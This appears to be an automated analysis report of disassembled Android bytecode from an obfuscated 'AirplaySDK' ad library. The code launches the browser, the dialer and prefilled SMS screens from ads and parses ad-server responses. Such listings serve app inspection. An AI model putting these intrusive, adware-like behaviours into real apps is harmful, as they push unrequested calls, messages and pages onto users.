4try_start_3:
5const-string v4, "com.android.browser"
7const-string v0, "com.android.browser.BrowserActivity"
8new-instance v3, Landroid/content/Intent;
10const-string v5, "android.intent.action.VIEW"
12invoke-static {p1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
13move-result-object v6
15invoke-direct {v3, v5, v6}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
  • Data flow analysis:
    • p0: android.intent.action.VIEW
16const/high16 v5, 0x10000000
18invoke-virtual {v3, v5}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: 268435456
19const/high16 v5, 0x800000
21invoke-virtual {v3, v5}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 8388608
23const-string v5, "android.intent.category.LAUNCHER"
25invoke-virtual {v3, v5}, Landroid/content/Intent;->addCategory(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • category: android.intent.category.LAUNCHER
27invoke-virtual {v3, v4, v0}, Landroid/content/Intent;->setClassName(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: com.android.browser
    • p1: com.android.browser.BrowserActivity
29iget-object v5, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity;
31invoke-virtual {v5, v3}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V
33sget-object v5, Lcom/vxjxu/jkhfn1870/OverlayAd;->adtype:Ljava/lang/String;
35const-string v6, "DAU"
37invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DAU
38move-result v5
39if-nez v5, :cond_47
41sget-object v5, Lcom/vxjxu/jkhfn1870/OverlayAd;->adtype:Ljava/lang/String;
43const-string v6, "DCC"
45invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DCC
46move-result v5
47if-nez v5, :cond_47
49sget-object v5, Lcom/vxjxu/jkhfn1870/OverlayAd;->adtype:Ljava/lang/String;
51const-string v6, "DCM"
53invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DCM
54move-result v5
55if-eqz v5, :cond_4d
56cond_47:
57const-string v5, "44"
59invoke-virtual {p0, v5}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 44
60goto_4c: return-void
61cond_4d:
62const-string v5, "24"
64invoke-virtual {p0, v5}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 24
65try_end_52: goto/16 :goto_4c
66catch_53: move-exception v1
67try_start_54:
68const-string v5, "AirplaySDK"
70const-string v6, "Browser not found."
72invoke-static {v5, v6}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Browser not found.
73new-instance v2, Landroid/content/Intent;
75const-string v5, "android.intent.action.VIEW"
77invoke-static {p1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
78move-result-object v6
80invoke-direct {v2, v5, v6}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
  • Data flow analysis:
    • p0: android.intent.action.VIEW
81const/high16 v5, 0x10000000
83invoke-virtual {v2, v5}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • p0: 268435456
84const/high16 v5, 0x800000
86invoke-virtual {v2, v5}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 8388608
88iget-object v5, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity;
90invoke-virtual {v5, v2}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V
92sget-object v5, Lcom/vxjxu/jkhfn1870/OverlayAd;->adtype:Ljava/lang/String;
94const-string v6, "DAU"
96invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DAU
97move-result v5
98if-nez v5, :cond_93
100sget-object v5, Lcom/vxjxu/jkhfn1870/OverlayAd;->adtype:Ljava/lang/String;
102const-string v6, "DCC"
104invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DCC
105move-result v5
106if-nez v5, :cond_93
108sget-object v5, Lcom/vxjxu/jkhfn1870/OverlayAd;->adtype:Ljava/lang/String;
110const-string v6, "DCM"
112invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
  • Data flow analysis:
    • p0: DCM
113move-result v5
114if-eqz v5, :cond_c1
115cond_93:
116const-string v5, "44"
118invoke-virtual {p0, v5}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 44
119goto_98:
120iget-object v5, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity;
122invoke-virtual {v5}, Landroid/app/Activity;->finish()V
123try_end_9d: goto/16 :goto_4c
124catch_9e: move-exception v1
126const-string v5, "AirplaySDK"
127new-instance v6, Ljava/lang/StringBuilder;
129invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
131const-string v7, "Error whlie displaying dialog ad......: "
133invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Error whlie displaying dialog ad......:
134move-result-object v6
136invoke-virtual {v1}, Landroid/content/ActivityNotFoundException;->getMessage()Ljava/lang/String;
137move-result-object v7
139invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
140move-result-object v6
142invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
143move-result-object v6
145invoke-static {v5, v6}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
147iget-object v5, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity;
149invoke-virtual {v5}, Landroid/app/Activity;->finish()V
150goto/16 :goto_4c
151try_start_c1:
152const-string v5, "24"
154invoke-virtual {p0, v5}, Lcom/vxjxu/jkhfn1870/OverlayAd;->sendEventData(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: 24
155try_end_c6: goto/16 :goto_98
156catch_c7: move-exception v1
158invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
160iget-object v5, p0, Lcom/vxjxu/jkhfn1870/OverlayAd;->context:Landroid/app/Activity;
162invoke-virtual {v5}, Landroid/app/Activity;->finish()V
163goto/16 :goto_4c
Cross References
APIs
  • java.lang.String.equalsIgnoreCase
  • android.util.Log.i
  • android.net.Uri.parse
  • android.content.Intent.<init>
  • android.content.Intent.addFlags
  • android.content.Context.startActivity
  • java.lang.Exception.printStackTrace
  • java.lang.String.equalsIgnoreCase
  • android.util.Log.i
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.net.Uri.parse
  • android.content.Intent.<init>
  • android.content.Intent.addFlags
  • android.content.Context.startActivity
  • android.content.ActivityNotFoundException.printStackTrace
  • java.lang.String.equalsIgnoreCase
  • android.util.Log.i
  • android.content.Intent.<init>
  • android.content.Intent.addFlags
  • android.content.Intent.setType
  • android.content.Intent.putExtra
  • android.content.Context.startActivity
  • java.lang.Exception.printStackTrace
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • BAU
  • AirplaySDK
  • Banner url Ads.....
  • android.intent.action.VIEW
  • BACC
  • Banner CC Ads.....
  • tel:
  • android.intent.action.DIAL
  • BACM
  • Banner CM Ads.....
  • vnd.android-dir/mms-sms
  • address
  • sms_body
  • Invalid ad type for banner ad.
Position Instruction Meta Information
0.prologue
1try_start_0:
2iget-object v3, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->adtype:Ljava/lang/String;
4const-string v4, "BAU"
6invoke-virtual {v3, v4}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: BAU
7move-result v3
8if-eqz v3, :cond_33
10const-string v3, "AirplaySDK"
12const-string v4, "Banner url Ads....."
14invoke-static {v3, v4}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Banner url Ads.....
15try_start_11: new-instance v1, Landroid/content/Intent;
17const-string v3, "android.intent.action.VIEW"
19iget-object v4, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->url:Ljava/lang/String;
21invoke-static {v4}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
22move-result-object v4
24invoke-direct {v1, v3, v4}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
  • Data flow analysis:
    • p0: android.intent.action.VIEW
25const/high16 v3, 0x10000000
27invoke-virtual {v1, v3}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 268435456
29iget-object v3, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->context:Landroid/content/Context;
31invoke-virtual {v3, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
32goto_28: return-void
33catch_29: move-exception v0
34try_start_2a:
35invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
36try_end_2d: goto/16 :goto_28
37catch_2e: move-exception v0
39invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
40goto/16 :goto_28
41cond_33:
42iget-object v3, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->adtype:Ljava/lang/String;
44const-string v4, "BACC"
46invoke-virtual {v3, v4}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: BACC
47move-result v3
48if-eqz v3, :cond_74
50const-string v3, "AirplaySDK"
52const-string v4, "Banner CC Ads....."
54invoke-static {v3, v4}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Banner CC Ads.....
55try_start_44: new-instance v3, Ljava/lang/StringBuilder;
57invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
59const-string v4, "tel:"
61invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: tel:
62move-result-object v3
64iget-object v4, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->number:Ljava/lang/String;
66invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
67move-result-object v3
69invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
70move-result-object v3
72invoke-static {v3}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
73move-result-object v2
74new-instance v1, Landroid/content/Intent;
76const-string v3, "android.intent.action.DIAL"
78invoke-direct {v1, v3, v2}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
  • Data flow analysis:
    • p0: android.intent.action.DIAL
79const/high16 v3, 0x10000000
81invoke-virtual {v1, v3}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 268435456
83iget-object v3, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->context:Landroid/content/Context;
85invoke-virtual {v3, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
86try_end_6e: goto/16 :goto_28
87catch_6f: move-exception v0
88try_start_70:
89invoke-virtual {v0}, Landroid/content/ActivityNotFoundException;->printStackTrace()V
90goto/16 :goto_28
91cond_74:
92iget-object v3, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->adtype:Ljava/lang/String;
94const-string v4, "BACM"
96invoke-virtual {v3, v4}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: BACM
97try_end_7b: move-result v3
98if-eqz v3, :cond_b1
99try_start_7e:
100const-string v3, "AirplaySDK"
102const-string v4, "Banner CM Ads....."
104invoke-static {v3, v4}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Banner CM Ads.....
105new-instance v1, Landroid/content/Intent;
107const-string v3, "android.intent.action.VIEW"
109invoke-direct {v1, v3}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: android.intent.action.VIEW
110const/high16 v3, 0x10000000
112invoke-virtual {v1, v3}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
  • Data flow analysis:
    • flags: 268435456
114const-string v3, "vnd.android-dir/mms-sms"
116invoke-virtual {v1, v3}, Landroid/content/Intent;->setType(Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: vnd.android-dir/mms-sms
118const-string v3, "address"
120iget-object v4, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->number:Ljava/lang/String;
122invoke-virtual {v1, v3, v4}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: address
124const-string v3, "sms_body"
126iget-object v4, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->sms:Ljava/lang/String;
128invoke-virtual {v1, v3, v4}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Data flow analysis:
    • p0: sms_body
130iget-object v3, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->context:Landroid/content/Context;
132invoke-virtual {v3, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
133try_end_a9: goto/16 :goto_28
134catch_ab: move-exception v0
135try_start_ac:
136invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
137goto/16 :goto_28
138cond_b1: new-instance v3, Ljava/lang/StringBuilder;
140invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
142const-string v4, "Invalid ad type for banner ad."
144invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: Invalid ad type for banner ad.
145move-result-object v3
147iget-object v4, p0, Lcom/vxjxu/jkhfn1870/FormatAds$ParseBannerAd;->adtype:Ljava/lang/String;
149invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
150move-result-object v3
152invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
153move-result-object v3
155invoke-static {v3}, Lcom/vxjxu/jkhfn1870/Util;->printLog(Ljava/lang/String;)V
156try_end_c9: goto/16 :goto_28
157catch_cb: move-exception v3
158goto/16 :goto_28
Cross References
APIs
  • com.vxjxu.jkhfn1870.AdView.getContext
  • android.content.Context.getResources
  • android.content.res.Resources.getDisplayMetrics
  • java.lang.String.contains
  • com.vxjxu.jkhfn1870.AdView.getContext
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.contains
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • image
  • text
  • if:
  • medium_rectangle
  • else:
Position Instruction Meta Information
0.param p1, "banner_type" # Ljava/lang/String;
1.prologue
2const/high16 v7, 0x3f000000 # 0.5f
4invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context;
5move-result-object v6
7invoke-virtual {v6}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
8move-result-object v6
10invoke-virtual {v6}, Landroid/content/res/Resources;->getDisplayMetrics()Landroid/util/DisplayMetrics;
11move-result-object v0
12iget v2, v0, Landroid/util/DisplayMetrics;->density:F
13if-eqz p1, :cond_1a
15const-string v6, "image"
17invoke-virtual {p1, v6}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
  • Data flow analysis:
    • p0: image
18move-result v6
19if-nez v6, :cond_22
20cond_1a:
21const-string v6, "text"
23invoke-virtual {p1, v6}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
  • Data flow analysis:
    • p0: text
24move-result v6
25if-eqz v6, :cond_dd
26cond_22:
27invoke-virtual {p0}, Lcom/vxjxu/jkhfn1870/AdView;->getContext()Landroid/content/Context;
28move-result-object v6
30invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->isTablet(Landroid/content/Context;)Z
31move-result v6
32if-eqz v6, :cond_c5
33const/high16 v6, 0x42b40000 # 90.0f
34mul-float/2addr v6, v2
35add-float/2addr v6, v7
36float-to-int v6, v6
37iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->height:I
38const/16 v6, 0x5a
39iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->heightDp:I
40const/high16 v6, 0x44360000 # 728.0f
41mul-float/2addr v6, v2
42add-float/2addr v6, v7
43float-to-int v6, v6
44iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I
45const/16 v6, 0x2d8
46iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->widthDp:I
47cond_42: iget v3, p0, Lcom/vxjxu/jkhfn1870/AdView;->height:I
48iget v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I
49iget v6, v0, Landroid/util/DisplayMetrics;->heightPixels:I
50iget v7, p0, Lcom/vxjxu/jkhfn1870/AdView;->height:I
51if-ge v6, v7, :cond_4e
52iget v3, v0, Landroid/util/DisplayMetrics;->heightPixels:I
53cond_4e: iget v6, v0, Landroid/util/DisplayMetrics;->widthPixels:I
54iget v7, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I
55if-ge v6, v7, :cond_56
56iget v4, v0, Landroid/util/DisplayMetrics;->widthPixels:I
57cond_56: iget v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->height:I
58int-to-float v6, v6
59int-to-float v7, v3
60div-float v1, v6, v7
61iget v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I
62int-to-float v6, v6
63int-to-float v7, v4
64div-float v5, v6, v7
65cmpl-float v6, v1, v5
66if-lez v6, :cond_ff
67iget v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I
68int-to-float v6, v6
69div-float/2addr v6, v1
70float-to-int v6, v6
71iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I
72iget v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I
73int-to-float v6, v6
74div-float/2addr v6, v2
75float-to-int v6, v6
76iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->widthDp:I
77new-instance v6, Ljava/lang/StringBuilder;
79invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
81const-string v7, "if: "
83invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: if:
84move-result-object v6
86invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder;
87move-result-object v6
89const-string v7, " "
91invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0:
92move-result-object v6
94invoke-virtual {v6, v5}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder;
95move-result-object v6
97const-string v7, " "
99invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0:
100move-result-object v6
101iget v7, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I
103invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
104move-result-object v6
106const-string v7, " "
108invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0:
109move-result-object v6
110iget v7, p0, Lcom/vxjxu/jkhfn1870/AdView;->height:I
112invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
113move-result-object v6
115const-string v7, " "
117invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0:
118move-result-object v6
119iget v7, p0, Lcom/vxjxu/jkhfn1870/AdView;->widthDp:I
121invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
122move-result-object v6
124const-string v7, " "
126invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0:
127move-result-object v6
128iget v7, p0, Lcom/vxjxu/jkhfn1870/AdView;->heightDp:I
130invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
131move-result-object v6
133invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
134move-result-object v6
136invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
137goto_c4: return-void
138cond_c5: const/high16 v6, 0x42700000 # 60.0f
139mul-float/2addr v6, v2
140add-float/2addr v6, v7
141float-to-int v6, v6
142iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->height:I
143const/16 v6, 0x3c
144iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->heightDp:I
145const/high16 v6, 0x43ea0000 # 468.0f
146mul-float/2addr v6, v2
147add-float/2addr v6, v7
148float-to-int v6, v6
149iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I
150const/16 v6, 0x1d4
151iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->widthDp:I
152goto/16 :goto_42
153cond_dd: if-eqz p1, :cond_42
155const-string v6, "medium_rectangle"
157invoke-virtual {p1, v6}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
  • Data flow analysis:
    • p0: medium_rectangle
158move-result v6
159if-eqz v6, :cond_42
160const/high16 v6, 0x437a0000 # 250.0f
161mul-float/2addr v6, v2
162add-float/2addr v6, v7
163float-to-int v6, v6
164iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->height:I
165const/high16 v6, 0x43960000 # 300.0f
166mul-float/2addr v6, v2
167add-float/2addr v6, v7
168float-to-int v6, v6
169iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I
170const/16 v6, 0xfa
171iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->heightDp:I
172const/16 v6, 0x12c
173iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->widthDp:I
174goto/16 :goto_42
175cond_ff: iput v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I
176int-to-float v6, v4
177div-float/2addr v6, v2
178float-to-int v6, v6
179iput v6, p0, Lcom/vxjxu/jkhfn1870/AdView;->widthDp:I
180new-instance v6, Ljava/lang/StringBuilder;
182invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
184const-string v7, "else: "
186invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0: else:
187move-result-object v6
189invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder;
190move-result-object v6
192const-string v7, " "
194invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0:
195move-result-object v6
197invoke-virtual {v6, v5}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder;
198move-result-object v6
200const-string v7, " "
202invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0:
203move-result-object v6
204iget v7, p0, Lcom/vxjxu/jkhfn1870/AdView;->width:I
206invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
207move-result-object v6
209const-string v7, " "
211invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0:
212move-result-object v6
213iget v7, p0, Lcom/vxjxu/jkhfn1870/AdView;->height:I
215invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
216move-result-object v6
218const-string v7, " "
220invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0:
221move-result-object v6
222iget v7, p0, Lcom/vxjxu/jkhfn1870/AdView;->widthDp:I
224invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
225move-result-object v6
227const-string v7, " "
229invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
  • Data flow analysis:
    • p0:
230move-result-object v6
231iget v7, p0, Lcom/vxjxu/jkhfn1870/AdView;->heightDp:I
233invoke-virtual {v6, v7}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
234move-result-object v6
236invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
237move-result-object v6
239invoke-static {v6}, Lcom/vxjxu/jkhfn1870/Util;->printDebugLog(Ljava/lang/String;)V
240goto/16 :goto_c4
Cross References
APIs
  • java.lang.String.startsWith
  • org.json.JSONObject.<init>
  • org.json.JSONObject.isNull
  • java.lang.String.equals
  • java.lang.String.equalsIgnoreCase
  • android.util.Log.e
  • org.json.JSONObject.getInt
  • org.json.JSONObject.getString
  • java.lang.String.equals
  • android.util.Log.e
  • java.lang.String.equals
  • java.lang.String.equalsIgnoreCase
  • java.lang.String.equals
  • java.lang.String.equalsIgnoreCase
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.i
Strings
  • <VAST>
  • status
  • message
  • adtype
  • AW
  • AirplaySDK
  • Error in Smart Wall json:
  • OLAU
  • DAU
  • DCC
  • DCM
  • Error in Smart Wall response:
  • FP
  • MFP
  • Invalid ad type delivered in SmartWall:
Position Instruction Meta Information
0.param p1, "result" # Ljava/lang/String;
1.prologue
2try_start_0:
3const-string v6, "<VAST>"
5invoke-virtual {p1, v6}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: <VAST>
6move-result v6
7if-eqz v6, :cond_18
8sget v6, Landroid/os/Build$VERSION;->SDK_INT:I
9const/4 v7, 0x7
10if-le v6, v7, :cond_18
11new-instance v5, Lcom/vxjxu/jkhfn1870/VideoAd;
13sget-object v6, Lcom/vxjxu/jkhfn1870/AirPlay;->activity:Landroid/app/Activity;
15invoke-direct {v5, v6}, Lcom/vxjxu/jkhfn1870/VideoAd;-><init>(Landroid/content/Context;)V
17invoke-virtual {v5, p1}, Lcom/vxjxu/jkhfn1870/VideoAd;->parseVideoAd(Ljava/lang/String;)V
18goto_17: return-void
19cond_18: new-instance v2, Lorg/json/JSONObject;
21invoke-direct {v2, p1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
23const-string v6, "status"
25invoke-virtual {v2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: status
26move-result v6
27if-eqz v6, :cond_5b
28const/4 v4, 0x0
29goto_26:
30const-string v6, "message"
32invoke-virtual {v2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: message
33move-result v6
34if-eqz v6, :cond_62
36const-string v3, ""
37goto_30:
38const-string v6, "adtype"
40invoke-virtual {v2, v6}, Lorg/json/JSONObject;->isNull(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: adtype
41move-result v6
42if-eqz v6, :cond_69
44const-string v0, ""
45goto_3a: const/16 v6, 0xc8
46if-ne v4, v6, :cond_e2
48const-string v6, ""
50invoke-virtual {v0, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
51move-result v6
52if-nez v6, :cond_e2
54const-string v6, "AW"
56invoke-virtual {v0, v6}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z
  • Data flow analysis:
    • p0: AW
57move-result v6
58if-eqz v6, :cond_70
60invoke-virtual {p0, p1}, Lcom/vxjxu/jkhfn1870/AirPlay;->parseAppWallJson(Ljava/lang/String;)V
61try_end_51: goto/16 :goto_17
62catch_52: move-exception v1
64const-string v6, "AirplaySDK"
66const-string v7, "Error in Smart Wall json: "
68invoke-static {v6, v7, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I
  • Data flow analysis:
    • tag: AirplaySDK
    • msg: Error in Smart Wall json:
69goto/16 :goto_17
70cond_5b:
71const-string v6, "status"
73invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: status
74move-result v4
75goto/16 :goto_26
76cond_62:
77const-string v6, "message"
